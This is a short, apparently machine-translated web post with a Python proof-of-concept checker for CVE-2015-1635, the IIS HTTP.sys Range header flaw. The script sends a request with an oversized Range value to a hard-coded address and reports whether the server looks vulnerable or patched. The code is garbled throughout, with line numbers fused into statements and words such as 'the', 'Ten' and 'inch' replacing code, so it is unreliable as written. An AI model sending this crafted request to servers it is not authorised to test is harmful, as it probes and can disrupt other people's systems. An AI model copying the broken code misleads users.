cve-2015-1635 POC

1 Import Socket2 Import Random3IPADDR ="10.1.89.20"4HEXALLFFFF ="18446744073709551615"5REQ1 ="get/http/1.0\r\n\r\n"6req ="get/http/1.1\r\nhost:stuff\r\nrange:bytes=0-"+ HEXALLFFFF +"\r\n\r\n"7Print"[*] Audit Started")8Client_socket =Socket.socket (socket.af_inet, socket. SOCK_STREAM)9Client_socket.connect (IPADDR, the))Ten Client_socket.send (Req1.encode ()) OneBoringresp = CLIENT_SOCKET.RECV (1024x768). Decode () A if "Microsoft"NotinchBoringresp: -Print"[*] not IIS") -Exit0) the client_socket.close () -Client_socket =Socket.socket (socket.af_inet, socket. SOCK_STREAM) -Client_socket.connect (IPADDR, the)) - Client_socket.send (Req.encode ()) +Goodresp = CLIENT_SOCKET.RECV (1024x768). Decode () - if "requested Range not satisfiable" inchGoodresp: +Print"[!!] Looks Vuln") AElif"The request has a invalid header name" inchGoodresp: atPrint"[*] Looks patched") - Else: -Print"[*] unexpected response, cannot discern patch status")

View Code

This loophole is also a fire a few days, POC attached.

cve-2015-1635 POC